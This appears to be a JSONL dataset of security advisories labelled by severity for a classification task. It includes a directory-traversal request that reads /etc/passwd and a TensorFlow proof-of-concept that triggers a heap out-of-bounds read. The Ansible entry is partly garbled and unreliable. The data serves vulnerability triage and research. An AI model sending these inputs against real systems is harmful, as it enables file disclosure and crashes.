-{"id": "7293a4085ff981875b40", "text": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Arbitrary File Disclosure", "text_raw": "FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Arbitrary File Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-10-14", "split": "train"}
-{"id": "621a58bba7eb53b5cbe3", "text": "Cross-site Scripting in Froala Editor\n\nFroala Editor 3.2.6 is affected by Cross Site Scripting (XSS). Under certain conditions, a base64 crafted string leads to persistent Cross-site scripting (XSS) vulnerability within the hyperlink creation module.", "text_raw": "Cross-site Scripting in Froala Editor\n\n[Severity: MEDIUM]\n\nFroala Editor 3.2.6 is affected by Cross Site Scripting (XSS). Under certain conditions, a base64 crafted string leads to persistent Cross-site scripting (XSS) vulnerability within the hyperlink creation module.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "352e6ab0ffabaedbf1ba", "text": "Division by zero in TFLite's implementation of hashtable lookup\n\n### Impact\nThe TFLite implementation of hashtable lookup is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/hashtable_lookup.cc#L114-L115):\n\n```cc\nconst int num_rows = SizeOfDimension(value, 0); \nconst int row_bytes = value->bytes / num_rows; \n```\n\nAn attacker can craft a model such that `values`'s first dimension would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [5117e0851348065ed59c991562c0ec80d9193db2](https://github.com/tensorflow/tensorflow/commit/5117e0851348065ed59c991562c0ec80d9193db2).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of hashtable lookup\n\n[Severity: LOW]\n\n### Impact\nThe TFLite implementation of hashtable lookup is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/hashtable_lookup.cc#L114-L115):\n\n```cc\nconst int num_rows = SizeOfDimension(value, 0); \nconst int row_bytes = value->bytes / num_rows; \n```\n\nAn attacker can craft a model such that `values`'s first dimension would be 0.\n\n### Patches\nWe have patched the issue in GitHub commit [5117e0851348065ed59c991562c0ec80d9193db2](https://github.com/tensorflow/tensorflow/commit/5117e0851348065ed59c991562c0ec80d9193db2).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "06a644e5e2e2cee43c46", "text": "Authorization bypass in org.springframework.security.oauth:spring-security-oauth2\n\nSpring Security OAuth, versions 2.3 prior to 2.3.4, and 2.2 prior to 2.2.3, and 2.1 prior to 2.1.3, and 2.0 prior to 2.0.16, and older unsupported versions could be susceptible to a privilege escalation under certain conditions. A malicious user or attacker can craft a request to the approval endpoint that can modify the previously saved authorization request and lead to a privilege escalation on the subsequent approval. This scenario can happen if the application is configured to use a custom approval endpoint that declares AuthorizationRequest as a controller method argument. This vulnerability exposes applications that meet all of the following requirements: Act in the role of an Authorization Server (e.g. @EnableAuthorizationServer) and use a custom Approval Endpoint that declares AuthorizationRequest as a controller method argument. This vulnerability does not expose applications that: Act in the role of an Authorization Server and use the default Approval Endpoint, act in the role of a Resource Server only (e.g. @EnableResourceServer), act in the role of a Client only (e.g. @EnableOAuthClient).", "text_raw": "Authorization bypass in org.springframework.security.oauth:spring-security-oauth2\n\n[Severity: HIGH]\n\nSpring Security OAuth, versions 2.3 prior to 2.3.4, and 2.2 prior to 2.2.3, and 2.1 prior to 2.1.3, and 2.0 prior to 2.0.16, and older unsupported versions could be susceptible to a privilege escalation under certain conditions. A malicious user or attacker can craft a request to the approval endpoint that can modify the previously saved authorization request and lead to a privilege escalation on the subsequent approval. This scenario can happen if the application is configured to use a custom approval endpoint that declares AuthorizationRequest as a controller method argument. This vulnerability exposes applications that meet all of the following requirements: Act in the role of an Authorization Server (e.g. @EnableAuthorizationServer) and use a custom Approval Endpoint that declares AuthorizationRequest as a controller method argument. This vulnerability does not expose applications that: Act in the role of an Authorization Server and use the default Approval Endpoint, act in the role of a Resource Server only (e.g. @EnableResourceServer), act in the role of a Client only (e.g. @EnableOAuthClient).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "b89736dc37fc86bdd808", "text": "Directory Traversal in jn_jj_server\n\nAffected versions of `jn_jj_server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in jn_jj_server\n\n[Severity: HIGH]\n\nAffected versions of `jn_jj_server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "e1e6f3cf16a9f231ec72", "text": "scalajs-standalone-bin Downloads Resources over HTTP\n\nAffected versions of `scalajs-standalone-bin` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `scalajs-standalone-bin`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "scalajs-standalone-bin Downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `scalajs-standalone-bin` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `scalajs-standalone-bin`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "12e95330a5ff31cdfc34", "text": "Heap OOB in shape inference for `QuantizeV2`\n\n### Impact\nThe [shape inference code for `QuantizeV2`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/framework/common_shape_fns.cc#L2509-L2530) can trigger a read outside of bounds of heap allocated array:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeV2(\n    input=[1.0,1.0],\n    min_range=[1.0,10.0],\n    max_range=[1.0,10.0],\n    T=tf.qint32,\n    mode='MIN_COMBINED',\n    round_mode='HALF_TO_EVEN',\n    narrow_range=False,\n    axis=-100,\n    ensure_minimum_range=10)\n  return data\n\ntest()\n```\n\nThis occurs whenever `axis` is a negative value less than `-1`. In this case, we are accessing data before the start of a heap buffer:\n\n```cc\nint axis = -1;\nStatus s = c->GetAttr(\"axis\", &axis);\nif (!s.ok() && s.code() != error::NOT_FOUND) {\n  return s;\n}   \n... \nif (axis != -1) {\n  ...\n  TF_RETURN_IF_ERROR(\n      c->Merge(c->Dim(minmax, 0), c->Dim(input, axis), &depth));\n}\n```\n\nThe code allows `axis` to be an optional argument (`s` would contain an `error::NOT_FOUND` error code). Otherwise, it assumes that `axis` is a valid index into the dimensions of the `input` tensor. If `axis` is less than `-1` then this results in a heap OOB read.\n\n### Patches\nWe have patched the issue in GitHub commit [a0d64445116c43cf46a5666bd4eee28e7a82f244](https://github.com/tensorflow/tensorflow/commit/a0d64445116c43cf46a5666bd4eee28e7a82f244).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB in shape inference for `QuantizeV2`\n\n[Severity: HIGH]\n\n### Impact\nThe [shape inference code for `QuantizeV2`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/framework/common_shape_fns.cc#L2509-L2530) can trigger a read outside of bounds of heap allocated array:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeV2(\n    input=[1.0,1.0],\n    min_range=[1.0,10.0],\n    max_range=[1.0,10.0],\n    T=tf.qint32,\n    mode='MIN_COMBINED',\n    round_mode='HALF_TO_EVEN',\n    narrow_range=False,\n    axis=-100,\n    ensure_minimum_range=10)\n  return data\n\ntest()\n```\n\nThis occurs whenever `axis` is a negative value less than `-1`. In this case, we are accessing data before the start of a heap buffer:\n    \n```cc\nint axis = -1;\nStatus s = c->GetAttr(\"axis\", &axis);\nif (!s.ok() && s.code() != error::NOT_FOUND) {\n  return s;\n}   \n... \nif (axis != -1) {\n  ...\n  TF_RETURN_IF_ERROR(\n      c->Merge(c->Dim(minmax, 0), c->Dim(input, axis), &depth));\n}\n```\n\nThe code allows `axis` to be an optional argument (`s` would contain an `error::NOT_FOUND` error code). Otherwise, it assumes that `axis` is a valid index into the dimensions of the `input` tensor. If `axis` is less than `-1` then this results in a heap OOB read.\n    \n### Patches\nWe have patched the issue in GitHub commit [a0d64445116c43cf46a5666bd4eee28e7a82f244](https://github.com/tensorflow/tensorflow/commit/a0d64445116c43cf46a5666bd4eee28e7a82f244).\n    \nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, as this version is the only one that is also affected.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "51af29e9b7115451c3ce", "text": "Basic-auth app bundle credential exposure in gatsby-source-wordpress\n\n### Impact\nThe gatsby-source-wordpress plugin prior to versions 4.0.8 and 5.9.2 leaks .htaccess HTTP Basic Authentication variables into the app.js bundle during build-time.  Users who are not initializing basic authentication credentials in the gatsby-config.js are not affected.\n\nExample affected gatsby-config.js:\n```\n      resolve: 'gatsby-source-wordpress',\n        auth: {\n          htaccess: {\n            username: leaked_username\n            password: leaked_password,\n          },\n        },\n```\n\n### Patches\nA patch has been introduced in gatsby-source-wordpress@4.0.8 and gatsby-source-wordpress@5.9.2 which mitigates the issue by filtering all variables specified in the `auth: { }` section.  Users that depend on this functionality are advised to upgrade to the latest release of gatsby-source-wordpress, run `gatsby clean` followed by a `gatsby build`.\n\n### Workarounds\nThere is no known workaround at this time, other than manually editing the app.js file post-build.\n\n### For more information\nEmail us at [security@gatsbyjs.com](mailto:security@gatsbyjs.com)", "text_raw": "Basic-auth app bundle credential exposure in gatsby-source-wordpress\n\n[Severity: HIGH]\n\n### Impact\nThe gatsby-source-wordpress plugin prior to versions 4.0.8 and 5.9.2 leaks .htaccess HTTP Basic Authentication variables into the app.js bundle during build-time.  Users who are not initializing basic authentication credentials in the gatsby-config.js are not affected.\n\nExample affected gatsby-config.js:\n```\n      resolve: 'gatsby-source-wordpress',\n        auth: {\n          htaccess: {\n            username: leaked_username\n            password: leaked_password,\n          },\n        },\n```\n\n### Patches\nA patch has been introduced in gatsby-source-wordpress@4.0.8 and gatsby-source-wordpress@5.9.2 which mitigates the issue by filtering all variables specified in the `auth: { }` section.  Users that depend on this functionality are advised to upgrade to the latest release of gatsby-source-wordpress, run `gatsby clean` followed by a `gatsby build`.\n\n\n### Workarounds\nThere is no known workaround at this time, other than manually editing the app.js file post-build.\n\n\n### For more information\nEmail us at [security@gatsbyjs.com](mailto:security@gatsbyjs.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "261447ebd8df2965b600", "text": "actionpack Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/form_tag_helper.rb` in Ruby on Rails 3.x before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 allows remote attackers to inject arbitrary web script or HTML via the `prompt` field to the `select_tag` helper.", "text_raw": "actionpack Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/form_tag_helper.rb` in Ruby on Rails 3.x before 3.0.17, 3.1.x before 3.1.8, and 3.2.x before 3.2.8 allows remote attackers to inject arbitrary web script or HTML via the `prompt` field to the `select_tag` helper.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "86c52e27a96b5df74164", "text": "Malicious Package in buffer-xmr\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xmr\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ce5bc7088ed8f3f09754", "text": "Malicious Package in blubird\n\nVersion 3.5.0 of `blubird` contains malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "text_raw": "Malicious Package in blubird\n\n[Severity: CRITICAL]\n\nVersion 3.5.0 of `blubird` contains malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.\n\n\n## Recommendation\n\nRemove the package from your environment and verify whether your system is running the cryptocurrency miner.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "2a8c49eceebbb3842ee7", "text": "Synaccess netBooter NP-0801DU 7.4 CSRF Add Admin Exploit", "text_raw": "Synaccess netBooter NP-0801DU 7.4 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-11-17", "split": "train"}
-{"id": "fe8ed8d190563480bba0", "text": "Longjing Technology BEMS API 1.21 Remote Arbitrary File Download", "text_raw": "Longjing Technology BEMS API 1.21 Remote Arbitrary File Download\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-07-28", "split": "train"}
-{"id": "e3b78c98f31671be5559", "text": "Jetty vulnerable to incorrect handling of invalid large TLS frame, exhausting CPU resources\n\n### Impact\nWhen using SSL/TLS with Jetty, either with HTTP/1.1, HTTP/2, or WebSocket, the server may receive an invalid large (greater than 17408) TLS frame that is incorrectly handled, causing CPU resources to eventually reach 100% usage.\n\n### Workarounds\n\nThe problem can be worked around by compiling the following class:\n```java\npackage org.eclipse.jetty.server.ssl.fix6072;\n\nimport java.nio.ByteBuffer;\nimport javax.net.ssl.SSLEngine;\nimport javax.net.ssl.SSLEngineResult;\nimport javax.net.ssl.SSLException;\nimport javax.net.ssl.SSLHandshakeException;\n\nimport org.eclipse.jetty.io.EndPoint;\nimport org.eclipse.jetty.io.ssl.SslConnection;\nimport org.eclipse.jetty.server.Connector;\nimport org.eclipse.jetty.server.SslConnectionFactory;\nimport org.eclipse.jetty.util.BufferUtil;\nimport org.eclipse.jetty.util.annotation.Name;\nimport org.eclipse.jetty.util.ssl.SslContextFactory;\n\npublic class SpaceCheckingSslConnectionFactory extends SslConnectionFactory\n{\n    public SpaceCheckingSslConnectionFactory(@Name(\"sslContextFactory\") SslContextFactory factory, @Name(\"next\") String nextProtocol)\n    {\n        super(factory, nextProtocol);\n    }\n\n@Override\n    protected SslConnection newSslConnection(Connector connector, EndPoint endPoint, SSLEngine engine)\n    {\n        return new SslConnection(connector.getByteBufferPool(), connector.getExecutor(), endPoint, engine, isDirectBuffersForEncryption(), isDirectBuffersForDecryption())\n        {\n            @Override\n            protected SSLEngineResult unwrap(SSLEngine sslEngine, ByteBuffer input, ByteBuffer output) throws SSLException\n            {\n                SSLEngineResult results = super.unwrap(sslEngine, input, output);\n\nif ((results.getStatus() == SSLEngineResult.Status.BUFFER_UNDERFLOW ||\n                    results.getStatus() == SSLEngineResult.Status.OK && results.bytesConsumed() == 0 && results.bytesProduced() == 0) &&\n                    BufferUtil.space(input) == 0)\n                {\n                    BufferUtil.clear(input);\n                    throw new SSLHandshakeException(\"Encrypted buffer max length exceeded\");\n                }\n                return results;\n            }\n        };\n    }\n}\n```\nThis class can be deployed by:\n + The resulting class file should be put into a jar file (eg sslfix6072.jar)\n + The jar file should be made available to the server. For a normal distribution this can be done by putting the file into ${jetty.base}/lib\n + Copy the file `${jetty.home}/modules/ssl.mod` to `${jetty.base}/modules`\n + Edit the `${jetty.base}/modules/ssl.mod` file to have the following section:\n\n```\n[lib]\nlib/sslfix6072.jar\n```\n\n+ Copy the file `${jetty.home}/etc/jetty-https.xml` and`${jetty.home}/etc/jetty-http2.xml` to `${jetty.base}/etc`\n+ Edit files `${jetty.base}/etc/jetty-https.xml` and `${jetty.base}/etc/jetty-http2.xml`, changing any reference of `org.eclipse.jetty.server.SslConnectionFactory` to `org.eclipse.jetty.server.ssl.fix6072.SpaceCheckingSslConnectionFactory`. For example:\n```xml\n  <Call name=\"addIfAbsentConnectionFactory\">\n    <Arg>\n      <New class=\"org.eclipse.jetty.server.ssl.fix6072.SpaceCheckingSslConnectionFactory\">\n        <Arg name=\"next\">http/1.1</Arg>\n        <Arg name=\"sslContextFactory\"><Ref refid=\"sslContextFactory\"/></Arg>\n      </New>\n    </Arg>\n  </Call>\n```\n+ Restart Jetty", "text_raw": "Jetty vulnerable to incorrect handling of invalid large TLS frame, exhausting CPU resources\n\n[Severity: HIGH]\n\n### Impact\nWhen using SSL/TLS with Jetty, either with HTTP/1.1, HTTP/2, or WebSocket, the server may receive an invalid large (greater than 17408) TLS frame that is incorrectly handled, causing CPU resources to eventually reach 100% usage.\n\n### Workarounds\n\nThe problem can be worked around by compiling the following class:\n```java\npackage org.eclipse.jetty.server.ssl.fix6072;\n\nimport java.nio.ByteBuffer;\nimport javax.net.ssl.SSLEngine;\nimport javax.net.ssl.SSLEngineResult;\nimport javax.net.ssl.SSLException;\nimport javax.net.ssl.SSLHandshakeException;\n\nimport org.eclipse.jetty.io.EndPoint;\nimport org.eclipse.jetty.io.ssl.SslConnection;\nimport org.eclipse.jetty.server.Connector;\nimport org.eclipse.jetty.server.SslConnectionFactory;\nimport org.eclipse.jetty.util.BufferUtil;\nimport org.eclipse.jetty.util.annotation.Name;\nimport org.eclipse.jetty.util.ssl.SslContextFactory;\n\npublic class SpaceCheckingSslConnectionFactory extends SslConnectionFactory\n{\n    public SpaceCheckingSslConnectionFactory(@Name(\"sslContextFactory\") SslContextFactory factory, @Name(\"next\") String nextProtocol)\n    {\n        super(factory, nextProtocol);\n    }\n\n    @Override\n    protected SslConnection newSslConnection(Connector connector, EndPoint endPoint, SSLEngine engine)\n    {\n        return new SslConnection(connector.getByteBufferPool(), connector.getExecutor(), endPoint, engine, isDirectBuffersForEncryption(), isDirectBuffersForDecryption())\n        {\n            @Override\n            protected SSLEngineResult unwrap(SSLEngine sslEngine, ByteBuffer input, ByteBuffer output) throws SSLException\n            {\n                SSLEngineResult results = super.unwrap(sslEngine, input, output);\n\n                if ((results.getStatus() == SSLEngineResult.Status.BUFFER_UNDERFLOW ||\n                    results.getStatus() == SSLEngineResult.Status.OK && results.bytesConsumed() == 0 && results.bytesProduced() == 0) &&\n                    BufferUtil.space(input) == 0)\n                {\n                    BufferUtil.clear(input);\n                    throw new SSLHandshakeException(\"Encrypted buffer max length exceeded\");\n                }\n                return results;\n            }\n        };\n    }\n}\n```\nThis class can be deployed by:\n + The resulting class file should be put into a jar file (eg sslfix6072.jar)\n + The jar file should be made available to the server. For a normal distribution this can be done by putting the file into ${jetty.base}/lib\n + Copy the file `${jetty.home}/modules/ssl.mod` to `${jetty.base}/modules`\n + Edit the `${jetty.base}/modules/ssl.mod` file to have the following section:\n\n```\n[lib]\nlib/sslfix6072.jar\n```\n\n+ Copy the file `${jetty.home}/etc/jetty-https.xml` and`${jetty.home}/etc/jetty-http2.xml` to `${jetty.base}/etc`\n+ Edit files `${jetty.base}/etc/jetty-https.xml` and `${jetty.base}/etc/jetty-http2.xml`, changing any reference of `org.eclipse.jetty.server.SslConnectionFactory` to `org.eclipse.jetty.server.ssl.fix6072.SpaceCheckingSslConnectionFactory`. For example:\n```xml\n  <Call name=\"addIfAbsentConnectionFactory\">\n    <Arg>\n      <New class=\"org.eclipse.jetty.server.ssl.fix6072.SpaceCheckingSslConnectionFactory\">\n        <Arg name=\"next\">http/1.1</Arg>\n        <Arg name=\"sslContextFactory\"><Ref refid=\"sslContextFactory\"/></Arg>\n      </New>\n    </Arg>\n  </Call>\n```\n+ Restart Jetty", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "5e34ef13b5dbe6c57931", "text": "Microsoft Windows Error Reporting (WER) Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Error Reporting (WER) contains a privilege escalation vulnerability due to the way it handles files, allowing for code execution in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Error Reporting (WER) Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Error Reporting (WER) contains a privilege escalation vulnerability due to the way it handles files, allowing for code execution in kernel mode.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c94761124bd4008cfa5b", "text": "Uncontrolled Resource Consumption in org.eclipse.jetty:jetty-server\n\nIn Eclipse Jetty version 9.3.x and 9.4.x, the server is vulnerable to Denial of Service conditions if a remote client sends either large SETTINGs frames container containing many settings, or many small SETTINGs frames. The vulnerability is due to the additional CPU and memory allocations required to handle changed settings.", "text_raw": "Uncontrolled Resource Consumption in org.eclipse.jetty:jetty-server\n\n[Severity: HIGH]\n\nIn Eclipse Jetty version 9.3.x and 9.4.x, the server is vulnerable to Denial of Service conditions if a remote client sends either large SETTINGs frames container containing many settings, or many small SETTINGs frames. The vulnerability is due to the additional CPU and memory allocations required to handle changed settings.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-28", "split": "train"}
-{"id": "7a88f9057e8a5c05dc57", "text": "Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution", "text_raw": "Schneider Electric Pelco Sarix/Spectra Cameras Root Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-07-10", "split": "train"}
-{"id": "132dda769cd73d077b08", "text": "Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible\n\nA flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.", "text_raw": "Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "b5ebec884eeeb8efc642", "text": "Out of bounds write in traitobject\n\nAn issue was discovered in the traitobject crate through 2020-06-01 for Rust. It has false expectations about fat pointers, possibly causing memory corruption in, for example, Rust 2.x.", "text_raw": "Out of bounds write in traitobject\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the traitobject crate through 2020-06-01 for Rust. It has false expectations about fat pointers, possibly causing memory corruption in, for example, Rust 2.x.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3151d4578e7b99b5c043", "text": "SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC", "text_raw": "SopCast 3.4.7 sop:// URI Handling Remote Stack Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-12-05", "split": "train"}
-{"id": "414c0fa00c2327832fa3", "text": "Thrive Smart Home v1.1 Reflected Cross-Site Scripting", "text_raw": "Thrive Smart Home v1.1 Reflected Cross-Site Scripting\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "e6b9547e7ff6c3af6887", "text": "Server-Side Request Forgery (SSRF) in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.7 might allow remote attackers to conduct server-side request forgery (SSRF) attacks by leveraging failure to block the axis2-jaxws class from polymorphic deserialization.", "text_raw": "Server-Side Request Forgery (SSRF) in jackson-databind\n\n[Severity: CRITICAL]\n\nFasterXML jackson-databind 2.x before 2.9.7 might allow remote attackers to conduct server-side request forgery (SSRF) attacks by leveraging failure to block the axis2-jaxws class from polymorphic deserialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "dd5961b255566904179d", "text": "modulemd uses an unsafe function for processing externally provided data\n\nmodulemd 1.3.1 and earlier uses an unsafe function for processing externally provided data, leading to remote code execution.", "text_raw": "modulemd uses an unsafe function for processing externally provided data\n\n[Severity: CRITICAL]\n\nmodulemd 1.3.1 and earlier uses an unsafe function for processing externally provided data, leading to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "4315acd93fe0fdd5d188", "text": "Incorrect implementation of the Streebog hash functions in streebog\n\nInternal update-sigma function was implemented incorrectly and depending on debug-assertions it could've caused an incorrect result or panic for certain inputs.", "text_raw": "Incorrect implementation of the Streebog hash functions in streebog\n\n[Severity: HIGH]\n\nInternal update-sigma function was implemented incorrectly and depending on debug-assertions it could've caused an incorrect result or panic for certain inputs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
